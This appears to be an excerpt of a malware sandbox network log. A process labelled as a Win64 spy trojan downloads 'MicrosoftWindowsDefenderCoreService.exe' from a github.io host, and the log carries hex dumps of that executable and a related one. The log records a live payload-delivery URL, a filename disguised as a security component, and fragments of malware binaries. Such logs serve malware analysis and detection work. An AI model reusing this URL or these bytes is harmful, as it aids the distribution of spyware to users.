2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f7 82 bf a3 b3 e3 d1 f0 b3 e3 d1 f0 b3 e3 d1 f0 f8 9b d2 f1 b6 e3 d1 f0 f8 9b d4 f1 3f e3 d1 f0 f8 9b d5 f1 b9 e3 d1 f0 a3 67 d2 f1 ba e3 d1 f0 a3 67 d5 f1 a3 e3 d1 f0 a3 67 d4 f1 98 e3 d1 f0 f8 9b d0 f1 b6 e3 d1 f0 b3 e3 d0 f0 d3 e3 d1 f0 fb 66 d8 f1 b2 e3 d1 f0 fb 66 2e f0 b2 e3 d1 f0 b3 e3 46 f0 b2 e3 d1 f0 fb 66 d3 f1 b2 e3 d1 f0 52 69 63 68 b3 e3 d1 f0 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$?gggff.FfRich
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 6f 8b 8d 8c a3 7a cc d7 4c c4 c4 ec da b7 7f c3 40 55 41 55 8b ac 24 f8 fe 3e d8 08 02 d9 dc 41 8e 56 ad 85 e8 24 41 46 42 3b 76 1b c8 28 95 80 0f 9e ff 05 09 e1 ed fe db e8 ba 4d 85 ed 75 06 c7 00 2a 15 83 bd 1b 4d 1b 6b bf 76 89 9c bb 45 89 b4 cb 07 bc d7 de 2d f2 5d 07 4c 89 a4 24 00 17 f8 01 07 bf 63 b6 db 17 f0 07 7d 0b 3e 5a 05 cd 44 0f b7 1d ff dd ed db b6 78 15 41 bf be 85 12 b8 93 04 66 44 89 7d 60 66 41 33 c7 ff 7e f7 df be c6 0d 89 45 62 b9 92 08 41 8d 47 01 ba b0 11 33 c8 41 b8 bd 6d b7 93 a8 02 1e 4d 64 10 d0 a7 8d 88 00 77 43 bb 8c 11 03 55 66 42 63 8d 55 62 0f 5b ec f7 5d 04 4e 45 68 41 b9 a6 30 ba c3 5f 40 bb ed 74 bb b3 c4 08 db 1d 4d 6a 83 34 2d 75 bb b3 bb 05 13 d0 bf c5 5c 06 1c 55 6c 11 d8 bb ed e4 b6 61 df 23 3d 12 07 0d fe 19 5d 6e Data Ascii: ozL@UAU$>AV$AFB;v(Mu*MkvE-]L$c}>ZDxAfD}`fA3~EbAG3AmMdwCUfBcUb[]NEhA0_@tMj4-u\Ula#=]n
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 27 7b 9a 57 e4 61 15 a8 55 d4 90 6e 93 34 4d ac 2b 78 00 f2 83 74 9b 6c 39 15 b0 f1 65 00 f9 25 1b ac db 64 15 b4 3f 02 00 00 11 15 6b d9 60 05 00 04 0e 00 5c d2 4c f6 f7 6f 0e e0 ea e2 5c d2 5c d2 dd e4 d0 e6 5c d2 5c d2 c3 e8 b6 ea 5c d2 5c d2 a9 ec 9c ee 5a d2 5c d2 8f f0 82 97 3d 2d 7b fb 75 0e fb 68 0e f6 97 34 97 34 5b f8 4e fa 96 34 97 34 41 fc 34 4b 9a cb 9e fb 27 0e 00 1a 4b 9a 4b 9a 02 0d 04 00 b2 a7 24 9b 06 f3 6e fb e6 0e 49 73 d9 d3 fb d9 0e 0c cc 49 73 49 73 0e bf 10 b2 49 73 49 73 12 a5 14 98 49 73 49 73 16 8b 18 7e 3b 71 49 73 1a 71 1c f1 0e 69 2e 69 2e 1e 57 20 4a 69 2e 69 2e 22 3d 24 30 69 2e 69 2e 26 23 28 16 6c 2e 69 2e 2a 09 2c fc 6d e0 b2 03 93 2e bd 0e 30 cb 0e 5c 76 bd 0e 32 bd 0e 3b 70 d9 81 34 bd 0e 36 bd 0e c0 65 07 2e 38 bd 0e Data Ascii: '{WaUn4M+xtl9e%d?k`\Lo\\\\\\Z\=-{uh44[N44A4K'KK$nIsIsIsIsIsIsIs~;qIsqi.i.W Ji.i."=$0i.i.&#(l.i.*,m.0\v2;p46e.8
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 0a 12 45 d4 41 8d 50 02 8d c8 61 67 7f 8b 03 ff 15 e9 e9 fe a0 2b 14 75 5f 5c 08 8b 8b 0b 28 24 04 20 4b 8d 1f 1c e0 b5 65 68 44 46 db c0 ec 1a bb 02 0b 89 23 d7 7a 13 02 8c 0f 8d bb 23 d0 21 3c 33 50 40 84 8d 6f 4f cb 6e 7c b7 08 22 b1 01 4a f0 1c eb 19 21 45 8e 63 dd 36 80 a6 00 23 4e f8 37 d9 80 f0 b4 88 40 54 5f 8c 90 0a 9e 6d 11 63 b4 ab 90 07 18 90 8c 83 f0 12 9f 1e 70 88 17 d8 f3 db c7 ad 05 d8 d5 f3 e6 a7 cb 08 e2 b4 78 6c 33 05 ec 0e c8 ba 09 d5 e5 2e 50 38 d0 f6 70 25 e0 13 f7 6e 29 09 3f 77 08 3e 38 b9 17 00 2f dd 31 1a dc cc 1b 7c 07 c1 cd 29 e8 3a f4 13 b5 df a2 01 8d 1b 94 46 b6 05 21 a3 72 dd 42 ef ae 0b 88 08 0f b1 20 ee b9 bd 25 43 0a 16 0d 7b a1 44 d7 7b 6e c1 6d 0b 7f 19 a8 55 11 7e 09 07 d9 0e 66 4f f0 09 59 b8 08 d8 bf 87 0f ff 6b c0 Data Ascii: EAPag+u_\($ KehDF#z#!<3P@oOn\|"J!Ec6#N7@T_mcpxl3.P8p%n)?w>8/1\|):F!rB %C{D{nmU~fOYk
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 16 ec 95 c0 6b 18 c9 0f d7 5f f6 5f c6 de 7f ab 2e 21 4f 8b 40 f9 81 3b 63 73 6d ab fe ff ff e0 75 1c 83 7b 18 04 75 16 8b 53 20 8d 82 e0 fa 6c e6 83 f8 02 76 15 2f e8 10 5c 6a 40 8b 74 0d 4f d5 d2 57 c7 2f 20 5f d3 2d 90 89 04 4f e6 db fc 5f 08 0b 30 fb c4 bb 0f 3c 21 ab 1d 53 66 fb 3d 4c 06 eb 12 fc d8 3e 43 8f dc 06 e7 54 16 83 c3 04 11 82 2f b3 3b df 72 e9 a8 4e 26 6c 20 a5 43 1f 18 7a 21 64 48 10 3b b4 b3 ee 6a e6 74 1c 57 41 56 1f 10 b7 fd b7 85 2e 5e 0f a2 d8 c1 02 d2 41 81 f2 69 6e 65 49 d4 36 43 bf 06 f0 6e 74 65 6c ec 02 f0 1d ff e6 7a 8b 9e 22 45 0b d0 21 1b f1 47 65 6e 75 89 5d bd fd c2 b7 f4 0f d1 89 4d f8 21 89 55 fc 75 5b 49 0d 79 8d dd 16 ad 77 c0 25 f0 3f ff b9 03 61 0c 00 c2 1b b4 b7 80 02 3d c0 06 08 3a 3d 60 06 9c 17 fe 77 83 cb 3d 70 Data Ascii: k__.!O@;csmu{uS lv/\j@tOW/ _-O_0<!Sf=L>CT/;rN&l Cz!dH;jtWAV.^AineI6Cntelz"E!Genu]M!Uu[Iyw%?a=:=`w=p
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 0e 12 d3 7d a6 db d8 20 0f 40 1e 50 0f 40 3a 07 dd 4c 60 0b 10 88 ea 12 60 6f 3b db 64 a3 80 90 0e 70 03 89 19 d6 88 ee 6d 69 81 11 68 64 6f a5 35 75 5d dd 0b 7a 8f 25 4f 07 9f 60 5f 5b f3 5d d7 07 a7 0f 57 07 b7 0f b6 45 7f c7 26 42 1c 5c e8 de 40 48 fc 08 28 18 4d 97 3a 9a 70 51 d8 06 45 b6 d4 8d 55 f1 8f 14 17 a4 8b 12 ef c7 45 cf 20 05 93 19 5b 52 f0 bb 88 1e d7 df 4d 0f a3 f2 27 1d 90 e2 5d eb 89 11 e2 3b 0d 71 69 f6 58 58 73 0b 0a 45 58 eb 4d 89 2c 29 da d9 4b 08 10 89 1b 0e e4 83 1d 58 4b f9 3c 78 58 75 35 13 5b 47 1b 50 2b 16 27 08 5a a9 60 df 3a 75 fa 74 0a f0 23 74 16 eb ed 4c 28 08 49 22 bc 95 16 2c 7e c1 db 3f 40 60 d0 13 b9 81 00 07 68 cb b7 c0 06 56 87 4b 60 9b 17 a9 a1 2b 5e 30 0d 8b d6 58 1c 42 24 68 a0 68 37 70 89 27 88 8e 9a e9 59 08 07 Data Ascii: } @P@:L``o;dpmihdo5u]z%O`_[]WE&B\@H(M:pQEUE [RM'];qiXXsEXM,)KXK<xXu5[GP+'Z`:ut#tL(I",~?@`hVK`+^0XB$hh7p'Y
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: f1 b6 84 0b 87 88 72 32 c0 23 7c e8 fe 2d df a2 3b f9 0c 4b 90 83 0d 91 0f ff e9 d4 7f 49 90 23 4d 63 48 1c 4d 6f 1c 96 1a db 46 3b 01 67 fe 6c 04 02 02 b3 8f 16 fb ca 43 88 28 ab 82 54 c7 6b 4d 14 d8 af d1 10 4b 15 64 04 1c d8 40 d7 40 32 b8 58 08 04 53 97 1c 4c db 12 78 21 b3 04 02 c3 8f 5b f9 97 53 16 73 39 41 3e 3b 7c 7e 04 eb 02 16 b8 89 05 3a 84 e9 81 81 8d c3 d9 7b 49 6c 10 52 ed d8 68 81 76 59 18 19 f9 4b 93 1a 9e 0c dd 78 7d 41 c6 41 14 2a 46 30 ba 70 a1 df 14 0c cb 4a 63 14 a3 03 d2 cd da 72 ea 8d 4a 35 ee 83 59 c8 72 e8 53 47 37 7a 9b 13 54 49 ff e8 ca 49 18 17 28 58 18 ad ea eb f5 38 1c d6 48 62 c3 f4 30 bf 75 65 2a 1c d6 a7 f2 77 e9 33 ff 41 39 de 76 ad f0 78 04 74 0f 34 05 38 2a 4c 51 14 07 eb 2e b4 52 25 b5 2f 87 f2 85 d2 14 5b 68 bf bb 34 Data Ascii: r2#\|-;KI#McHMoF;glC(TkMKd@@2XSLx![Ss9A>;\|~:{IlRhvYKx}AAF0pJcrJ5YrSG7zTII(X8Hb0uew3A9vxt48*LQ.R%/[h4
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: d0 86 d2 e6 46 0e e0 c2 b0 40 36 d9 4d 80 e2 84 13 1e d6 8b d6 6f 8a 8d 0b c8 03 ab 14 2f 57 e2 2c e4 27 d4 d6 3a ea 48 5b 40 fa 11 38 e3 8b 95 73 4d 32 cb 15 20 e8 e9 fd e3 d6 31 eb 3d 99 76 37 80 bd 45 82 ea 30 a1 14 27 30 5e ba 86 c3 f6 6f 0e c7 29 5d 44 52 28 2c e9 20 9c 27 2b 3b 54 51 2d 21 16 0c b8 29 18 3f d9 ad cb 7a 5b 83 5b 84 b2 01 cc 2a b8 a0 e1 2b ec f2 a8 03 82 f8 3b d8 17 85 f4 5b 01 00 0f 2d 50 3c 6d c4 cc 77 87 14 0c 24 f2 4c d7 89 48 28 13 70 88 64 1c 07 68 03 81 af 2f 99 18 96 10 a7 4c 25 fa c0 81 ec a2 81 39 2b 0d 3e c4 82 06 9e e0 3b 8b 3d a0 6e ae 6d c4 53 8e ac d1 a0 07 bc 24 61 3b db 04 04 07 20 ca 10 88 7b 50 3b 6a 5b 70 33 c5 a3 82 7d c0 5b 3c 39 58 42 45 81 3e fa 3d 2e d0 9e a0 07 0a 35 1d aa 38 01 d8 60 28 1d 28 93 11 28 c4 48 Data Ascii: F@6Mo/W,':H[@8sM2 1=v7E0'0^o)]DR(, '+;TQ-!)?z[[*+;[-P<mw$LH(pdh/L%9+>;=nmS$a; {P;j[p3}[<9XBE>=.58`(((H
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 9f 39 41 28 04 03 2c 52 b3 1d f9 2d 33 75 2c 27 49 c8 fb bb 41 6b b4 27 c7 12 87 75 19 93 17 70 28 1e c7 40 40 0e 34 11 e2 04 b1 35 60 e5 28 14 c9 e2 44 89 4c c7 a2 01 03 f0 c2 7d 30 45 6b 16 88 30 18 bc da 4c 8b f9 50 e8 b6 53 3c ab 0f 4d d3 a2 31 e4 7d af 56 5a a2 79 40 e9 ea 0d f5 f7 de b7 45 e7 3b fc 0f 8e 08 11 08 9a 3b 7e 18 b0 41 8b 89 08 0e f7 71 82 c4 b7 38 08 4a 03 f0 8b 3c 01 2b 09 6b e2 cb 13 83 7c 01 bf 1c 13 88 1d 0c 6e 07 5c 01 bd 03 c3 c2 d8 2f 18 6d 89 59 44 8d 89 32 38 44 01 0e 85 55 65 12 80 e0 11 18 e3 c8 99 49 1c 2a 74 eb 12 23 2d 61 4a b8 88 38 b4 e7 3d 3e 1a 20 7c 70 45 28 53 ad 2c da d5 b3 24 1d 44 6b 80 0b db d0 c0 f4 9e 02 7f 24 9e 05 33 92 05 c6 03 0c 24 60 80 b7 e7 c0 03 b7 12 df 3c f8 49 ee f2 26 75 02 1e 0a 6d 82 25 9b 14 06 Data Ascii: 9A(,R-3u,'IAk'up(@@45`(DL}0Ek0LPS<M1}VZy@E;;~Aq8J<+k\|n\/mYD28DUeI*t#-aJ8=> \|pE(S,$Dk$3$`<I&um%
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: c3 54 28 cc 97 d1 0f fc 02 10 5c 84 98 15 2d b2 30 b3 35 5e be 97 0a 2a 81 49 08 dc 57 23 f3 0e 3f 8a 2f 2a d4 70 74 3c f0 70 08 03 ab e8 2b 94 ef eb 14 e0 70 2a e0 15 43 7e 08 d3 42 26 48 54 43 15 a1 c6 7b 38 b6 bd 4a 51 a9 6b 4c 24 21 29 17 18 80 b3 05 15 7b 90 15 ec f7 37 e9 7b 5a 5e 9b 87 01 a2 7e b4 b3 2c 42 d5 6d 1d 46 07 0f 4c 26 90 1f b0 89 85 62 d4 cd 6c c3 ba 1d 2c 04 ed 0c 59 21 ff e0 4d 94 8b 74 8f 60 1e 0c 01 97 37 78 b1 19 8e 0e c7 00 05 cd 69 77 ab 8f 60 69 d1 d2 05 8b 41 75 21 b7 e9 0e 43 71 c8 b8 92 6f 2b c1 8a 05 0c c0 dd 7e d3 ca 49 33 d0 5f 15 6d 1d ac 41 b0 36 3b c4 4b 5e 58 61 85 89 19 1f 68 16 78 8b 31 20 a7 22 4a 41 0f b6 17 6c 51 ab 49 d8 a4 61 fa ee 17 8a 38 4d 85 e4 75 12 4b 72 80 c7 00 16 b8 75 d5 4f 60 5c 2c eb 32 7e 45 a3 40 Data Ascii: T(\-05^IW#?/pt<p+p*C~B&HTC{8JQkL$!){7{Z^~,BmFL&bl,Y!Mt`7xiw`iAu!Cqo+~I3_mA6;K^Xahx1 "JAlQIa8MuKruO`\,2~E@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	185.199.110.153	443	2404	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:02 UTC	89	OUT	GET /file/MicrosoftWindowsDefenderCoreService.exe HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:02 UTC	737	IN	HTTP/1.1 200 OK Connection: close Content-Length: 143872 Server: GitHub.com Content-Type: application/octet-stream permissions-policy: interest-cohort=() Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-23200" expires: Sun, 29 Sep 2024 00:36:02 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: E208:AB57C:286E703:2D3F5C1:66F89E9A Accept-Ranges: bytes Age: 0 Date: Sun, 29 Sep 2024 00:26:02 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740076-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727569563.676575,VS0,VE17 Vary: Accept-Encoding X-Fastly-Request-ID: 0919a7b70d02b0c26ce00924ed598104205c5488
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fc e2 01 37 b8 83 6f 64 b8 83 6f 64 b8 83 6f 64 f3 fb 6c 65 bd 83 6f 64 f3 fb 6a 65 0e 83 6f 64 f3 fb 6b 65 a8 83 6f 64 a8 07 6c 65 b2 83 6f 64 a8 07 6b 65 a9 83 6f 64 a8 07 6a 65 ea 83 6f 64 f3 fb 6e 65 b1 83 6f 64 b8 83 6e 64 c3 83 6f 64 f0 06 66 65 b9 83 6f 64 f0 06 90 64 b9 83 6f 64 b8 83 f8 64 b9 83 6f 64 f0 06 6d 65 b9 83 6f 64 52 69 63 68 b8 83 6f 64 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7odododleodjeodkeodleodkeodjeodneodndodfeoddoddodmeodRichod
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: ff ff 7f 76 14 b8 57 00 07 80 f5 1c 33 d2 66 89 11 7a 9f 1d de ec 38 c3 3e 5a 58 4d 8b c8 2a 60 d4 03 4c 45 ed 14 7b 2d 9f d1 ea a5 68 60 1a b4 2c 5c ff 6c a3 18 38 78 6b 3f f1 49 8b d9 6a 7a aa 8b f1 33 ed df d6 ec 3c 28 ce cb d5 d6 04 8e 60 4a df ed 73 dd c9 01 a1 28 73 aa 01 9d ea c0 b9 ff 00 0f 48 fc bf 29 b6 c1 12 78 0e 94 e0 3b cf 77 06 8b c5 74 07 eb 09 b8 7a cd 9a 2d 18 2e 20 2c 7e 78 da 40 08 66 48 24 86 87 66 08 da 50 63 5f 79 b1 c0 72 ff 3a 02 8b c2 76 b5 63 fb 76 70 b4 0f 57 62 53 48 0b 0c 48 08 0f 11 02 de 8b c4 3e de 12 80 c3 cb 7d 44 d8 3f ad b0 51 52 c6 2d 19 ad 48 0f 45 c2 41 e2 da 7b 90 df 57 c7 4a 57 ba fa 6f d1 de cb 89 01 8b da 24 c1 8d 12 d8 f6 c3 01 74 0d ba 18 1f 06 0f 76 63 8b cf fc f5 9c 6b 1a c7 a6 b4 90 74 df 5f 8a 11 84 9b 87 Data Ascii: vW3fz8>ZXM*`LE{-h`,\l8xk?Ijz3<(`Js(sH)x;wtz-. ,~x@fH$fPc_yr:vcvpWbSHH>}D?QR-HEA{WJWo$tvckt_
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: 06 4e f0 89 37 65 84 cf bd 68 f0 20 0f 49 05 5e a7 ac bb 22 ff 1c c8 73 20 ff ef ef 81 3c 07 f2 df df cf 43 70 20 cf cf bf bf df a4 15 0e 6f 81 90 a3 4c 8d 9c 24 a7 20 5b 00 05 68 b6 28 06 73 30 e3 12 5f 57 7c e1 87 0a a2 1b 10 33 1f 0f 58 04 c5 8f b6 cc 51 10 70 72 ef 94 bf 68 1e a7 3f 20 56 87 66 f0 24 49 3b d0 74 d7 da 3f b5 25 28 7c 5a 8d 79 10 66 90 5e 0b 2a d7 80 39 7b eb 68 58 88 f2 ff a2 3b de 75 eb 22 3f 5e ed 1e 33 ab 48 b9 5e c3 cc bf f0 c8 21 98 ad 40 58 bf 6f 42 a4 aa c3 7f 18 04 c9 4c 2b c2 98 52 94 08 fd e3 bf 02 a9 5d 53 e0 50 48 43 fe 6a c5 81 1f 2f 5a d8 8b fa 91 d9 8b 41 20 f6 0f 0f 8a da 7e 38 49 18 eb eb 0b 79 09 19 af be f7 53 a7 4b 28 2b 68 da 59 2b 40 31 3d ba c0 f6 c7 6e 30 b3 cb f3 41 1a e0 80 b9 a5 1f bc ac ce f8 60 0f 29 da 5b Data Ascii: N7eh I^"s <Cp oL$ [h(s0_W\|3XQprh? Vf$I;t?%(\|Zyf^*9{hX;u"?^3H^!@XoBL+R]SPHCj/ZA ~8IySK(+hY+@1=n0A`)[
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: d0 eb 25 4c ee 8f 60 28 11 fc fa 25 d3 3c a0 f8 82 05 07 23 c7 45 10 0e 9e d7 25 fb 22 57 c0 50 d0 14 06 24 34 d6 8d e7 79 44 54 64 cc 74 04 33 b8 0f b6 7c 88 85 e0 05 bd f8 0c 0d 1f 83 8c 3c 2d 34 20 c0 d8 c0 83 8c 3c 23 28 80 98 80 31 6c 21 22 d2 5d 18 04 da 13 fe 68 50 4d 8e 26 f6 b9 47 0a 41 8f 7c 8e 6d 12 2e 0a 61 29 0a 34 0a 33 0a 26 1d 2a d8 91 0a 2b 0a 02 fe 4b 63 d3 f1 e2 fb f9 96 33 c1 49 ec 21 64 e4 90 91 74 dd 76 ce 46 0e 19 39 78 bf 7a b0 c7 90 91 43 7c a1 53 6d a3 ba b7 33 c0 10 80 33 bf f6 6e c8 06 61 ac ba 1f 9b c9 70 c9 85 62 2f 57 2d 3c c7 19 cc 15 1f e3 86 b7 31 84 7d 3e 3e 6b 2f 3b ff c7 78 72 e8 f6 80 6f 1c 03 17 69 a0 7b 26 a0 56 bc c9 0c 79 b8 1f a2 4d 08 21 b3 04 1b 62 04 46 20 72 ff 16 e3 db 2c 1c 8d 5c 21 dc c6 95 b8 5d fa 07 76 Data Ascii: %L`(%<#E%"WP$4yDTdt3\|<-4 <#(1l!"]hPM&GA\|m.a)43&*+Kc3I!dtvF9xzC\|Sm33napb/W-<1}>>k/;xroi{&VyM!bF r,\!]v
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: 40 95 4a 50 48 40 f2 81 23 84 70 39 d8 0a 80 ab f3 2d 90 0e 28 03 21 40 28 16 ad 92 7c ff 01 a4 bb 62 60 d0 9a 54 24 9a 9d 0d 8b ce ca 2b ba 05 5e fc 39 11 f8 c7 27 18 ac fc 2a c8 70 f9 dc 66 6e 6b 62 63 00 86 f9 8d 5b b1 0f be c0 a1 60 dd 37 0e e3 a9 60 a5 10 6b c5 39 52 ff 24 7c 26 1c 71 c3 8a e1 9f 07 14 72 ee c6 45 85 00 d3 c1 49 2e 39 04 c3 39 36 18 34 2c 07 96 38 d3 60 81 43 1c 27 28 76 85 e8 01 76 e8 d5 fc 07 7c f8 d9 68 f0 6e fd a0 28 79 f8 67 67 69 77 0a 77 6a 79 70 05 38 14 fc 16 8c 70 7d 98 8e 1e f6 c5 04 0d 10 86 f7 55 e1 fc d9 c8 30 28 c0 1e e1 3f 6e 04 53 04 df 55 dd 12 08 5e 1c 0b c4 17 eb 87 76 31 ab 86 99 80 2b 7c d7 cf 3a 5c 09 77 c5 1a 38 e5 11 10 ec c8 5c 23 42 23 d5 32 2b 4c e3 db 45 11 cf 31 9d 8d f0 03 4d 53 79 50 bf 00 05 10 18 20 Data Ascii: @JPH@#p9-(!@(\|b`T$+^9'*pfnkbc[`7`k9R$\|&qrEI.9964,8`C'(vv\|hn(yggiwwjyp8p}U0(?nSU^v1+\|:\w8\#B#2+LE1MSyP
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: c8 24 23 5f 12 4f 8c 4c 32 32 14 3f 16 2f c8 24 23 93 18 1f 1a 0e 39 32 c9 0f 1c ff e4 1e da 86 49 46 ef 20 3f 23 6d 98 b6 61 22 3f 23 24 3f 86 69 1b a6 23 26 3f 23 28 3f 98 b6 61 da 23 2a 3f 23 2c 69 1b a6 6d 3f 23 2e 3f 23 1e 03 3f 9d 30 3e ad 32 08 97 07 84 9f b5 03 67 b6 9c fb d0 0b da 8b 71 b8 c3 85 50 24 30 ff 73 ff 12 54 60 ff 79 7e 0b ff 6e 58 64 ff 5d ff 41 bb 06 6b a7 dd 05 e6 5b 0a 2a 5c 12 52 2a 7e af 9d 6f b8 58 1f 60 12 4f 5e 64 12 4a ff 66 db e7 f9 79 68 68 ff 45 6c 4e ff 2a 41 b9 fe 7b ed be 5a 5b 70 1e 12 2d 32 74 12 72 ff 70 ff bb 70 3c bf f7 fb 31 78 1c 1f ff 2b 30 7c 12 2a ff 24 80 cf f3 f3 fc 22 ff 14 84 3f ff 2f 88 39 76 5e 3b cf ff 3f 8c 4a 21 12 90 0e f1 f3 fc bc 7e 12 94 25 ff 2a 98 27 ff 54 02 17 03 3f 36 58 e3 1e 55 ff 00 21 dd Data Ascii: $#_OL22?/$#92IF ?#ma"?#$?i#&?#(?a#?#,im?#.?#?0>2gqP$0sT`y~nXd]Ak[\R~oX`O^dJfyhhElNA{Z[p-2trpp<1x+0\|$"?/9v^;?J!~%'T?6XU!
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: 0e 48 d3 d8 21 23 87 8c 0c 4a f0 4c e1 72 c8 c8 21 4e d2 50 87 8c 1c 32 c3 52 b4 54 c8 c8 21 23 a5 56 96 8c 1c 32 72 58 87 5a 78 c8 21 23 87 5c 69 5e 1c 32 72 c8 5a 60 4b 62 21 23 87 8c 3c 64 2d a9 74 c8 c8 66 1e 68 17 e4 90 91 63 21 6a 00 6c f9 ea 0c 72 f1 d7 6e cf 70 07 5c f5 ca 6a 8f b0 b0 6c cf 0d b5 bd 96 87 63 57 1c 12 43 57 af 9d 67 6f ce 12 4c 26 12 c8 22 10 12 cc d7 ee 3b 00 46 3b d0 12 22 17 12 cf fb 9e 9f d4 0c 57 13 d8 4f 22 12 dc 0d f7 3d 3f cf 57 1a e0 27 57 06 e4 63 08 12 cf f3 fb 9e e8 36 63 ec 12 07 57 02 f0 17 cf cf e5 7d 4f f4 12 30 f8 11 57 15 fc ec 08 1c 3c 0a 17 22 36 18 87 1c 08 42 c8 02 04 87 8c 0c fb a3 f3 d6 21 06 e4 08 c8 c8 21 23 d5 0a c6 8c 1c 32 72 0c b7 0e a8 c8 21 23 87 10 99 12 1c 32 72 c8 8a 14 7b 16 21 23 87 8c 6c 18 5d Data Ascii: H!#JLr!NP2RT!#V2rXZx!#\i^2rZ`Kb!#<d-tfhc!jlrnp\jlcWCWgoL&";F;"WO"=?W'Wc6cW}O0W<"6B!!#2r!#2r{!#l]
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: 43 46 0e 9e bc a0 39 64 e4 90 ad a2 9e a4 43 46 0e 19 8f a6 80 64 e4 90 91 a8 71 aa 62 46 0e 19 39 ac 53 ae 44 e7 90 91 43 b0 35 b2 02 4f c0 5f a7 b4 06 45 1a 84 bb 3e 2d aa a7 30 33 6b 8d 06 61 40 76 6d 7f 44 12 41 7a 6f b4 0e 75 46 12 78 eb 08 3d d5 a2 0c 12 34 23 50 12 e3 99 0e d2 69 1a f6 12 7e c2 a3 f0 7a fb 58 63 0e 5c 8d af 37 16 12 5b 60 9f 33 3b d6 1b ef 46 12 6c 97 68 4f 6c 12 ef 7b 6f b4 86 67 46 12 33 3b 74 12 74 0a bf ef 7d c7 78 12 6b 27 7c 12 71 00 6a 6e 29 3c 58 b2 03 46 b2 12 f0 bd a5 d0 c2 7e b2 12 49 3b 8c fb de a3 70 53 c2 90 12 58 c7 94 12 85 6f 29 b4 36 71 b2 8b 4e 3c 4b e1 2d b2 77 b3 3b 0d f4 8c 10 2e 4c 12 77 5f a8 1a 1c 74 07 3f ef ac 17 8f b0 cf 04 08 0e 3f e2 a4 8b 11 70 50 48 d6 88 92 34 c6 47 c2 b8 0f f1 c8 33 05 91 49 66 43 Data Ascii: CF9dCFdqbF9SDC5O_E>-03ka@vmDAzouFx=4#Pi~zXc\7[`3;FlhOl{ogF3;tt}xk'\|qjn)<XF~I;pSXo)6qN<K-w;.Lw_t??pPH4G3IfC
2024-09-29 00:26:02 UTC	1378	IN	Data Raw: 10 76 99 92 ca 94 12 69 14 bd 60 53 52 63 16 ef 18 02 ee 82 4d 10 5f 1a 5f 1c 2f df 05 9b 92 78 1e 5f 20 2e 33 d2 da 2d f0 62 29 22 02 6b 07 b9 03 5d 91 23 39 1b 24 33 ef b8 26 29 19 99 92 d7 28 bf 19 99 92 91 2a a7 2c 8f 99 92 91 29 2e 77 30 92 91 29 19 5f 32 47 91 29 19 99 34 2f 36 91 1c 99 92 17 38 ff b7 8c 4c c9 c8 3a e7 3c cf 4c c9 c8 94 3e b7 40 c9 c8 94 8c 9f 42 87 c8 94 8c 4c 44 6f 46 94 8c 4c c9 57 48 3f 8c 4c c9 c8 4a 27 4c 0f 8e e4 c8 94 4e f7 b6 50 64 64 4a 46 df 52 c7 64 4a 46 a6 54 af 56 4a 46 a6 64 97 58 7f 46 a6 64 64 5a 67 5c 4f a6 64 64 4a 5e 37 60 b6 69 4a 46 1f 62 7f 33 74 b4 9b a6 64 7f b5 33 66 b5 4d 53 db 7f 33 68 7f 33 4d 53 db 34 6a 7f 33 6c 7f 53 db 34 b5 33 6e 7f 33 70 db 34 b5 4d 7f 33 72 7f 33 34 b5 4d 53 74 7f 33 76 da 4d 53 Data Ascii: vi`SRcM__/x_ .3-b)"k]#9$3&)(*,).w0)_2G)4/68L:<L>@BLDoFLWH?LJ'LNPddJFRdJFTVJFdXFddZg\OddJ^7`iJFb3td3fMS3h3MS4j3lS43n3p4M3r34MSt3vMS
